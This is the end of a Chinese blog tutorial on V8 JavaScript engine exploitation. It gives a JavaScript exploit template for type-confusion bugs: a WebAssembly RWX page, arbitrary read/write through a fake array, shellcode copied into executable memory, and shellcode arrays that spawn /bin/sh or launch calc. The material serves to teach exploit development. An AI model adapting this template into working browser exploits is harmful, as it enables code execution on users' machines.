0x4166d0014924408bn,
0x491c408b44480c8bn,
0x14888048b41d001n,
0x5a595e58415841d0n,
0x83485a4159415841n,
0x4158e0ff524120ecn,
0xff57e9128b485a59n,
0x1ba485dffffn,
0x8d8d480000000000n,
0x8b31ba4100000101n,
0xa2b5f0bbd5ff876fn,
0xff9dbd95a6ba4156n,
0x7c063c28c48348d5n,
0x47bb0575e0fb800an,
0x894159006a6f7213n,
0x2e636c6163d5ffdan,
0x657865n,
];

下面的模板对于类型混淆的v8漏洞应该都行

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
var wasmCode = new Uint8Array([0,97,115,109,1,0,0,0,1,133,128,128,128,0,1,96,0,1,127,3,130,128,128,128,0,1,0,4,132,128,128,128,0,1,112,0,0,5,131,128,128,128,0,1,0,1,6,129,128,128,128,0,0,7,145,128,128,128,0,2,6,109,101,109,111,114,121,2,0,4,109,97,105,110,0,0,10,138,128,128,128,0,1,132,128,128,128,0,0,65,42,11]);
var wasmModule = new WebAssembly.Module(wasmCode);
var wasmInstance = new WebAssembly.Instance(wasmModule, {});
var f = wasmInstance.exports.main;

var f64 = new Float64Array(1);
var bigUint64 = new BigUint64Array(f64.buffer);
var u32 = new Uint32Array(f64.buffer);

function d2u(v) {
f64[0] = v;
return u32;
}
function u2d(lo, hi) {
u32[0] = lo;
u32[1] = hi;
return f64[0];
}
function ftoi(f)
{
f64[0] = f;
return bigUint64[0];
}
function itof(i)
{
bigUint64[0] = i;
return f64[0];
}
function hex(i)
{
return i.toString(16).padStart(8, "0");
}

function fakeObj(addr_to_fake)
{
?
}

function addressOf(obj_to_leak)
{
?
}

function read64(addr)
{
fake_array[1] = itof(addr - 0x8n + 0x1n);
return fake_object[0];
}

function write64(addr, data)
{
fake_array[1] = itof(addr - 0x8n + 0x1n);
fake_object[0] = itof(data);
}

function copy_shellcode_to_rwx(shellcode, rwx_addr)
{
var data_buf = new ArrayBuffer(shellcode.length * 8);
var data_view = new DataView(data_buf);
var buf_backing_store_addr_lo = addressOf(data_buf) + 0x18n;
var buf_backing_store_addr_up = buf_backing_store_addr_lo + 0x8n;
var lov = d2u(read64(buf_backing_store_addr_lo))[0];
var rwx_page_addr_lo = u2d(lov, d2u(rwx_addr)[0]);
var hiv = d2u(read64(buf_backing_store_addr_up))[1];
var rwx_page_addr_hi = u2d(d2u(rwx_addr, hiv)[1]);
var buf_backing_store_addr = ftoi(u2d(lov, hiv));
console.log("[*] buf_backing_store_addr: 0x"+hex(buf_backing_store_addr));

write64(buf_backing_store_addr_lo, ftoi(rwx_page_addr_lo));
write64(buf_backing_store_addr_up, ftoi(rwx_page_addr_hi));
for (let i = 0; i < shellcode.length; ++i)
data_view.setFloat64(i * 8, itof(shellcode[i]), true);
}

var double_array = [1.1];
var obj = {"a" : 1};
var obj_array = [obj];
var array_map = ?;
var obj_map = ?;

var fake_array = [
array_map,
itof(0x4141414141414141n)
];

fake_array_addr = addressOf(fake_array);
console.log("[*] leak fake_array addr: 0x" + hex(fake_array_addr));
fake_object_addr = fake_array_addr - 0x10n;
var fake_object = fakeObj(fake_object_addr);
var wasm_instance_addr = addressOf(wasmInstance);
console.log("[*] leak wasm_instance addr: 0x" + hex(wasm_instance_addr));
var rwx_page_addr = read64(wasm_instance_addr + 0x68n);
console.log("[*] leak rwx_page_addr: 0x" + hex(ftoi(rwx_page_addr)));

var shellcode = [
0x2fbb485299583b6an,
0x5368732f6e69622fn,
0x050f5e5457525f54n
];

copy_shellcode_to_rwx(shellcode, rwx_page_addr);
f();

本文前面用到的函数定义如下

1
2
3
4
5
6
7
8
9
10
11
function float_to_int(f)  
{
f64[0] = f;
return bigUint64[0];
}

function int_to_float(i)
{
bigUint64[0] = i;
return f64[0];
}
  • Title: V8利用(1)-基础
  • Author: Static
  • Created at : 2024-03-10 16:37:25
  • Updated at : 2024-03-10 16:36:34
  • Link: https://staticccccccc.github.io/2024/03/10/V8/V8利用(1)-基础/
  • License: This work is licensed under CC BY-NC-SA 4.0.
Comments